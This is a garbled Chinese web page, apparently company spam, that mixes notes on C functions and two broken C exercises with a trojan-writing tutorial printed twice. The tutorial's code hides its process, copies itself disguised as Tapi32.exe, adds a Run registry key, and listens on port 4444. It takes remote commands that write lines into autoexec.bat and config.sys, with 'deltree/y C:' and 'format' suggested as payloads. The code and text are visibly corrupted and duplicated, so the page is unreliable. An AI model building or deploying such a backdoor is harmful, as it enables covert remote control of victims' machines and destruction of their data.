C語(yǔ)言函數(shù)的運(yùn)用及調(diào)用
目前成都創(chuàng)新互聯(lián)已為千余家的企業(yè)提供了網(wǎng)站建設(shè)、域名、虛擬空間、網(wǎng)站托管運(yùn)營(yíng)、企業(yè)網(wǎng)站設(shè)計(jì)、清徐網(wǎng)站維護(hù)等服務(wù)，公司將堅(jiān)持客戶導(dǎo)向、應(yīng)用為本的策略，正道將秉承"和諧、參與、激情"的文化，與客戶和合作伙伴齊心協(xié)力一起成長(zhǎng)，共同發(fā)展。
1.當(dāng)程序變得越來越復(fù)雜的時(shí)候，我們可以使用函數(shù)進(jìn)行完成任務(wù)，并不再是進(jìn)行編寫。
2.C語(yǔ)言本身就具有豐富的庫(kù)函數(shù)：
目錄路徑函數(shù)
字符類型分類函數(shù)
內(nèi)存管理函數(shù)
數(shù)學(xué)函數(shù)
進(jìn)程控制函數(shù)
日期和時(shí)間函數(shù)
接口函數(shù)
輸入輸出函數(shù)
圖形函數(shù)
診斷函數(shù)
3.每一種函數(shù)都有它的作用，在需要使用時(shí)，直接進(jìn)行調(diào)用就可以了。
4.函數(shù)分為有參和無(wú)參函數(shù)。
參數(shù)可以分為形參與實(shí)參。
形參在函數(shù)內(nèi)，而實(shí)參在函數(shù)外。
形參直接使用，而實(shí)參在函數(shù)外調(diào)用。
5. 函數(shù)的值只能通過return語(yǔ)句返回主調(diào)函數(shù)。
6.在函數(shù)內(nèi)有局部變量和全局變量?jī)煞N，局部變量在函數(shù)內(nèi)使用，而全局變量可在函數(shù)中使用。
7.從變量作用域可以劃分全局，而在變量的生存期可以分為靜態(tài)與動(dòng)態(tài)存儲(chǔ)方式。
固定的存儲(chǔ)空間與運(yùn)行時(shí)分配的存儲(chǔ)空間方式還是有所不同的。
auto聲明自動(dòng)變量，自動(dòng)變量用關(guān)鍵字作存儲(chǔ)類別的聲明，在函數(shù)調(diào)用結(jié)束將會(huì)自動(dòng)釋放這些存儲(chǔ)空間。
static可以聲明局部變量，在函數(shù)調(diào)用結(jié)束之后不消失而保留原值。
8.register可以聲明局部變量，在函數(shù)調(diào)用時(shí)為了提高效率，可以寄存在CPU的寄存器中。
extern可以聲明局部變量，擴(kuò)展程序文件中的作用域。
C++編寫木馬全過程
首先是編程工具的選擇。目前流行的開發(fā)工具有C++Builder、VC、VB和Delphi，這里我們選用C++Builder（以下簡(jiǎn)稱BCB）；VC雖然好，但GUI設(shè)計(jì)太復(fù)雜，為了更好地突出我的例子，集中注意力在木馬的基本原理上，我們選用可視化的BCB；Delphi也不錯(cuò)，但缺陷是不能繼承已有的資源（如“死牛崇拜”黑客小組公布的BO2000源代碼，是VC編寫的，網(wǎng)上俯拾皆是）；VB嘛，談都不談??難道你還給受害者傳一個(gè)1兆多的動(dòng)態(tài)鏈接庫(kù)??Msvbvm60.dll嗎？
啟動(dòng)C++Builder 5.0企業(yè)版，新建一個(gè)工程，添加三個(gè)VCL控件：一個(gè)是Internet頁(yè)中的Server Socket，另兩個(gè)是Fastnet頁(yè)中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個(gè)服務(wù)器程序，可以對(duì)外服務(wù)（對(duì)攻擊者敞開大門）。Socket最初是在Unix上出現(xiàn)的，后來微軟將它引入了Windows中（包括Win98和WinNt）；后兩個(gè)控件的作用是用來使程序具有FTP（File Transfer Protocol文件傳輸協(xié)議）和SMTP（Simple Mail Transfer Protocol簡(jiǎn)單郵件傳輸協(xié)議）功能，大家一看都知道是使軟件具有上傳下載功能和發(fā)郵件功能的控件。
form窗體是可視的，這當(dāng)然是不可思議的。不光占去了大量的空間（光一個(gè)form就有300K之大），而且使軟件可見，根本沒什么作用。因此實(shí)際寫木馬時(shí)可以用一些技巧使程序不包含form，就像Delphi用過程實(shí)現(xiàn)的小程序一般只有17K左右那樣。
我們首先應(yīng)該讓我們的程序能夠隱身。雙擊form，首先在formCreate事件中添加可使木馬在Win9x的“關(guān)閉程序”對(duì)話框中隱藏的代碼。這看起來很神秘，其實(shí)說穿了不過是一種被稱之為Service的后臺(tái)進(jìn)程,它可以運(yùn)行在較高的優(yōu)先級(jí)下,可以說是非常靠近系統(tǒng)核心的設(shè)備驅(qū)動(dòng)程序中的那一種。因此，只要將我們的程序在進(jìn)程數(shù)據(jù)庫(kù)中用RegisterServiceProcess（）函數(shù)注冊(cè)成服務(wù)進(jìn)程（Service Process）就可以了。不過該函數(shù)的聲明在Borland預(yù)先打包的頭文件中沒有，那么我們只好自己來聲明這個(gè)位于KERNEL32.DLL中的鳥函數(shù)了。
首先判斷目標(biāo)機(jī)的操作系統(tǒng)是Win9x還是WinNt：
{
DWORD dwVersion = GetVersion（）;
// 得到操作系統(tǒng)的版本號(hào)
if （dwVersion = 0x80000000）
// 操作系統(tǒng)是Win9x，不是WinNt
{
typedef DWORD （CALLBACK* LPREGISTERSERVICEPROCESS）（DWORD,DWORD）;
//定義RegisterServiceProcess（）函數(shù)的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary（"KERNEL32）;
//加載RegisterServiceProcess（）函數(shù)所在的動(dòng)態(tài)鏈接庫(kù)KERNEL32.DLL
lpRegisterServiceProcess = （LPREGISTERSERVICEPROCESS）GetProcAddress（hDLL,"RegisterServiceProcess）;
//得到RegisterServiceProcess（）函數(shù)的地址
lpRegisterServiceProcess（GetCurrentProcessId（）,1）;
//執(zhí)行RegisterServiceProcess（）函數(shù),隱藏本進(jìn)程
FreeLibrary（hDLL）;
//卸載動(dòng)態(tài)鏈接庫(kù)
}
}
這樣就終于可以隱身了（害我敲了這么多代碼?。?。為什么要判斷操作系統(tǒng)呢？因?yàn)閃inNt中的進(jìn)程管理器可以對(duì)當(dāng)前進(jìn)程一覽無(wú)余，因此沒必要在WinNt下也使用以上代碼（不過你可以使用其他的方法，這個(gè)留到后面再講）。
接著再將自己拷貝一份到%System%目錄下，例如：C:\Windows\System，并修改注冊(cè)表，以便啟動(dòng)時(shí)自動(dòng)加載：
{
char TempPath[MAX_PATH];
//定義一個(gè)變量
GetSystemDirectory（TempPath ,MAX_PATH）;
//TempPath是system目錄緩沖區(qū)的地址,MAX_PATH是緩沖區(qū)的大小，得到目標(biāo)機(jī)的System目錄路徑
SystemPath=AnsiString（TempPath）;
//格式化TempPath字符串，使之成為能供編譯器使用的樣式
opyFile（ParamStr（0）.c_str（）, AnsiString（SystemPath+"\\Tapi32.exe）.c_str（） ,FALSE）;
//將自己拷貝到%System%目錄下，并改名為Tapi32.exe，偽裝起來
Registry=new TRegistry;
//定義一個(gè)TRegistry對(duì)象，準(zhǔn)備修改注冊(cè)表，這一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
//設(shè)置主鍵為HKEY_LOCAL_MACHINE
egistry-OpenKey（"Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE）;
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就創(chuàng)建之
try
{
//如果以下語(yǔ)句發(fā)生異常，跳至catch，以避免程序崩潰
!=SystemPath+"\\Tapi32.exe）
SystemPath+"\\Tapi32.exe）;
//查找是否有“crossbow”字樣的鍵值，并且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是，就寫入以上鍵值和內(nèi)容
}
catch（...）
{
//如果有錯(cuò)誤，什么也不做
}
}
好，formCreate過程完成了，這樣每次啟動(dòng)都可以自動(dòng)加載Tapi32.exe，并且在“關(guān)閉程序”對(duì)話框中看不見本進(jìn)程了，木馬的雛形初現(xiàn)。
接著選中ServerSocket控件，在左邊的Object Inspector中將Active改為true，這樣程序一啟動(dòng)就打開特定端口，處于服務(wù)器工作狀態(tài)。再將Port填入4444，這是木馬的端口號(hào)，當(dāng)然你也可以用別的。但是你要注意不要用1024以下的低端端口，因?yàn)檫@樣不但可能會(huì)與基本網(wǎng)絡(luò)協(xié)議使用的端口相沖突，而且很容易被發(fā)覺，因此盡量使用1024以上的高端端口（不過也有這樣一種技術(shù)，它故意使用特定端口，因?yàn)槿绻饹_突，Windows也不會(huì)報(bào)錯(cuò) ^_^）。你可以看一看TNMFTP控件使用的端口，是21號(hào)端口，這是FTP協(xié)議的專用控制端口（FTP Control Port）；同理TNMSMTP的25號(hào)端口也是SMTP協(xié)議的專用端口。
再選中ServerSocket控件，點(diǎn)擊Events頁(yè)，雙擊OnClientRead事件，敲入以下代碼：
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會(huì)兒要用到的變量
AnsiString（SystemPath+AnsiString（"\\Win369.BAT））.c_str（））;
//在%System%下建立一個(gè)文本文件Win369.bat，作為臨時(shí)文件使用
AnsiString temp=Socket-ReceiveText（）;
//接收客戶端（攻擊者，也就是你自己）傳來的數(shù)據(jù)
}
好，大門敞開了！接著就是修改目標(biāo)機(jī)的各種配置了！^_^ 首先我們來修改Autoexec.bat和Config.sys吧：
{
f（temp.SubString（0,9）=="edit conf）
//如果接受到的字符串的前9個(gè)字符是“edit conf”
{
int number=temp.Length（）;
//得到字符串的長(zhǎng)度
int file_name=atoi（（temp.SubString（11,1））.c_str（））;
//將第11個(gè)字符轉(zhuǎn)換成integer型，存入file_name變量
//為什么要取第11個(gè)字符，因?yàn)榈?0個(gè)字符是空格字符
content=（temp.SubString（12,number-11）+'\n'）.c_str（）;
//余下的字符串將被作為寫入的內(nèi)容寫入目標(biāo)文件
FILE *fp=NULL;
char filename[20];
chmod（"c:\\autoexec.bat,S_IREAD|S_IWRITE）;
chmod（"c:\\config.sys,S_IREAD|S_IWRITE）;
//將兩個(gè)目標(biāo)文件的屬性改為可讀可寫
if（file_name==1）
"c:\\autoexec.bat）;
//如果第11個(gè)字符是1,就把Autoexec.bat格式化
else if（file_name==2）
"c:\\config.sys）;
//如果第11個(gè)字符是1,就把Config.sys格式化
times_of_try=0;
//定義計(jì)數(shù)器
while（fp==NULL）
{
//如果指針是空
fp=fopen（filename,"a+）;
//如果文件不存在，創(chuàng)建之；如果存在，準(zhǔn)備在其后添加
//如果出錯(cuò)，文件指針為空，這樣就會(huì)重復(fù)
times_of_try=times_of_try+1;
//計(jì)數(shù)器加1
if（times_of_try100）
{
//如果已經(jīng)試了100次了，仍未成功
Socket-SendText（"Fail By Open File）;
//就發(fā)回“Fail By Open File”的錯(cuò)誤信息
goto END;
//跳至END處
}
}
fwrite（content,sizeof（char）,strlen（content）,fp）;
//寫入添加的語(yǔ)句，例如deltree/y C:或者format/q/autotest C:，夠毒吧？！
fclose（fp）;
//寫完后關(guān)閉目標(biāo)文件
Socket-SendText（"Sucess）;
//然后發(fā)回“Success”的成功信息
}C++編寫木馬全過程
首先是編程工具的選擇。目前流行的開發(fā)工具有C++Builder、VC、VB和Delphi，這里我們選用C++Builder（以下簡(jiǎn)稱BCB）；VC雖然好，但GUI設(shè)計(jì)太復(fù)雜，為了更好地突出我的例子，集中注意力在木馬的基本原理上，我們選用可視化的BCB；Delphi也不錯(cuò)，但缺陷是不能繼承已有的資源（如“死牛崇拜”黑客小組公布的BO2000源代碼，是VC編寫的，網(wǎng)上俯拾皆是）；VB嘛，談都不談??難道你還給受害者傳一個(gè)1兆多的動(dòng)態(tài)鏈接庫(kù)??Msvbvm60.dll嗎？
啟動(dòng)C++Builder 5.0企業(yè)版，新建一個(gè)工程，添加三個(gè)VCL控件：一個(gè)是Internet頁(yè)中的Server Socket，另兩個(gè)是Fastnet頁(yè)中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個(gè)服務(wù)器程序，可以對(duì)外服務(wù)（對(duì)攻擊者敞開大門）。Socket最初是在Unix上出現(xiàn)的，后來微軟將它引入了Windows中（包括Win98和WinNt）；后兩個(gè)控件的作用是用來使程序具有FTP（File Transfer Protocol文件傳輸協(xié)議）和SMTP（Simple Mail Transfer Protocol簡(jiǎn)單郵件傳輸協(xié)議）功能，大家一看都知道是使軟件具有上傳下載功能和發(fā)郵件功能的控件。
form窗體是可視的，這當(dāng)然是不可思議的。不光占去了大量的空間（光一個(gè)form就有300K之大），而且使軟件可見，根本沒什么作用。因此實(shí)際寫木馬時(shí)可以用一些技巧使程序不包含form，就像Delphi用過程實(shí)現(xiàn)的小程序一般只有17K左右那樣。
我們首先應(yīng)該讓我們的程序能夠隱身。雙擊form，首先在formCreate事件中添加可使木馬在Win9x的“關(guān)閉程序”對(duì)話框中隱藏的代碼。這看起來很神秘，其實(shí)說穿了不過是一種被稱之為Service的后臺(tái)進(jìn)程,它可以運(yùn)行在較高的優(yōu)先級(jí)下,可以說是非常靠近系統(tǒng)核心的設(shè)備驅(qū)動(dòng)程序中的那一種。因此，只要將我們的程序在進(jìn)程數(shù)據(jù)庫(kù)中用RegisterServiceProcess（）函數(shù)注冊(cè)成服務(wù)進(jìn)程（Service Process）就可以了。不過該函數(shù)的聲明在Borland預(yù)先打包的頭文件中沒有，那么我們只好自己來聲明這個(gè)位于KERNEL32.DLL中的鳥函數(shù)了。
首先判斷目標(biāo)機(jī)的操作系統(tǒng)是Win9x還是WinNt：
{
DWORD dwVersion = GetVersion（）;
// 得到操作系統(tǒng)的版本號(hào)
if （dwVersion = 0x80000000）
// 操作系統(tǒng)是Win9x，不是WinNt
{
typedef DWORD （CALLBACK* LPREGISTERSERVICEPROCESS）（DWORD,DWORD）;
//定義RegisterServiceProcess（）函數(shù)的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary（"KERNEL32）;
//加載RegisterServiceProcess（）函數(shù)所在的動(dòng)態(tài)鏈接庫(kù)KERNEL32.DLL
lpRegisterServiceProcess = （LPREGISTERSERVICEPROCESS）GetProcAddress（hDLL,"RegisterServiceProcess）;
//得到RegisterServiceProcess（）函數(shù)的地址
lpRegisterServiceProcess（GetCurrentProcessId（）,1）;
//執(zhí)行RegisterServiceProcess（）函數(shù),隱藏本進(jìn)程
FreeLibrary（hDLL）;
//卸載動(dòng)態(tài)鏈接庫(kù)
}
}
這樣就終于可以隱身了（害我敲了這么多代碼?。槭裁匆袛嗖僮飨到y(tǒng)呢？因?yàn)閃inNt中的進(jìn)程管理器可以對(duì)當(dāng)前進(jìn)程一覽無(wú)余，因此沒必要在WinNt下也使用以上代碼（不過你可以使用其他的方法，這個(gè)留到后面再講）。
接著再將自己拷貝一份到%System%目錄下，例如：C:\Windows\System，并修改注冊(cè)表，以便啟動(dòng)時(shí)自動(dòng)加載：
{
char TempPath[MAX_PATH];
//定義一個(gè)變量
GetSystemDirectory（TempPath ,MAX_PATH）;
//TempPath是system目錄緩沖區(qū)的地址,MAX_PATH是緩沖區(qū)的大小，得到目標(biāo)機(jī)的System目錄路徑
SystemPath=AnsiString（TempPath）;
//格式化TempPath字符串，使之成為能供編譯器使用的樣式
opyFile（ParamStr（0）.c_str（）, AnsiString（SystemPath+"\\Tapi32.exe）.c_str（） ,FALSE）;
//將自己拷貝到%System%目錄下，并改名為Tapi32.exe，偽裝起來
Registry=new TRegistry;
//定義一個(gè)TRegistry對(duì)象，準(zhǔn)備修改注冊(cè)表，這一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
//設(shè)置主鍵為HKEY_LOCAL_MACHINE
egistry-OpenKey（"Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE）;
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就創(chuàng)建之
try
{
//如果以下語(yǔ)句發(fā)生異常，跳至catch，以避免程序崩潰
!=SystemPath+"\\Tapi32.exe）
SystemPath+"\\Tapi32.exe）;
//查找是否有“crossbow”字樣的鍵值，并且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是，就寫入以上鍵值和內(nèi)容
}
catch（...）
{
//如果有錯(cuò)誤，什么也不做
}
}
好，formCreate過程完成了，這樣每次啟動(dòng)都可以自動(dòng)加載Tapi32.exe，并且在“關(guān)閉程序”對(duì)話框中看不見本進(jìn)程了，木馬的雛形初現(xiàn)。
接著選中ServerSocket控件，在左邊的Object Inspector中將Active改為true，這樣程序一啟動(dòng)就打開特定端口，處于服務(wù)器工作狀態(tài)。再將Port填入4444，這是木馬的端口號(hào)，當(dāng)然你也可以用別的。但是你要注意不要用1024以下的低端端口，因?yàn)檫@樣不但可能會(huì)與基本網(wǎng)絡(luò)協(xié)議使用的端口相沖突，而且很容易被發(fā)覺，因此盡量使用1024以上的高端端口（不過也有這樣一種技術(shù)，它故意使用特定端口，因?yàn)槿绻饹_突，Windows也不會(huì)報(bào)錯(cuò) ^_^）。你可以看一看TNMFTP控件使用的端口，是21號(hào)端口，這是FTP協(xié)議的專用控制端口（FTP Control Port）；同理TNMSMTP的25號(hào)端口也是SMTP協(xié)議的專用端口。
再選中ServerSocket控件，點(diǎn)擊Events頁(yè)，雙擊OnClientRead事件，敲入以下代碼：
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會(huì)兒要用到的變量
AnsiString（SystemPath+AnsiString（"\\Win369.BAT））.c_str（））;
//在%System%下建立一個(gè)文本文件Win369.bat，作為臨時(shí)文件使用
AnsiString temp=Socket-ReceiveText（）;
//接收客戶端（攻擊者，也就是你自己）傳來的數(shù)據(jù)
}
好，大門敞開了！接著就是修改目標(biāo)機(jī)的各種配置了！^_^ 首先我們來修改Autoexec.bat和Config.sys吧：
{
f（temp.SubString（0,9）=="edit conf）
//如果接受到的字符串的前9個(gè)字符是“edit conf”
{
int number=temp.Length（）;
//得到字符串的長(zhǎng)度
int file_name=atoi（（temp.SubString（11,1））.c_str（））;
//將第11個(gè)字符轉(zhuǎn)換成integer型，存入file_name變量
//為什么要取第11個(gè)字符，因?yàn)榈?0個(gè)字符是空格字符
content=（temp.SubString（12,number-11）+'\n'）.c_str（）;
//余下的字符串將被作為寫入的內(nèi)容寫入目標(biāo)文件
FILE *fp=NULL;
char filename[20];
chmod（"c:\\autoexec.bat,S_IREAD|S_IWRITE）;
chmod（"c:\\config.sys,S_IREAD|S_IWRITE）;
//將兩個(gè)目標(biāo)文件的屬性改為可讀可寫
if（file_name==1）
"c:\\autoexec.bat）;
//如果第11個(gè)字符是1,就把Autoexec.bat格式化
else if（file_name==2）
"c:\\config.sys）;
//如果第11個(gè)字符是1,就把Config.sys格式化
times_of_try=0;
//定義計(jì)數(shù)器
while（fp==NULL）
{
//如果指針是空
fp=fopen（filename,"a+）;
//如果文件不存在，創(chuàng)建之；如果存在，準(zhǔn)備在其后添加
//如果出錯(cuò)，文件指針為空，這樣就會(huì)重復(fù)
times_of_try=times_of_try+1;
//計(jì)數(shù)器加1
if（times_of_try100）
{
//如果已經(jīng)試了100次了，仍未成功
Socket-SendText（"Fail By Open File）;
//就發(fā)回“Fail By Open File”的錯(cuò)誤信息
goto END;
//跳至END處
}
}
fwrite（content,sizeof（char）,strlen（content）,fp）;
//寫入添加的語(yǔ)句，例如deltree/y C:或者format/q/autotest C:，夠毒吧？！
fclose（fp）;
//寫完后關(guān)閉目標(biāo)文件
Socket-SendText（"Sucess）;
//然后發(fā)回“Success”的成功信息
}
#include
int?main()
{
int?x,y;
scanf("%d",x);
if(0xx10)?y=3*x+2;
else
{if(x=0)?y=0;
else
{if?(x0)?y=x*x;
else?printf("go?die\n");
}
}
printf("%d",y);
return?0;
}該程序的分段函數(shù)如下:
f(x)=3x+2? (0x10)
f(x)=1???????? (x=0)
f(x)?=?x*x??? (x0)
#include stdio.h
#include math.h
void main()
{
float x;
double y;
printf("Please input the value of x:");
scanf("%f",x);
if(x=-10x=4)
{
y=fabs(x-2);
printf("y=%.2f\n",y);
}
else if(x=5x=7)
{
y=x+10;
printf("y=%.2f\n",y);
}
else if(x=8x=12)
{
y=pow(x,4);
printf("y=%.2f\n",y);
}
else
printf("No answer\n");
}
重慶分公司
重慶分公司
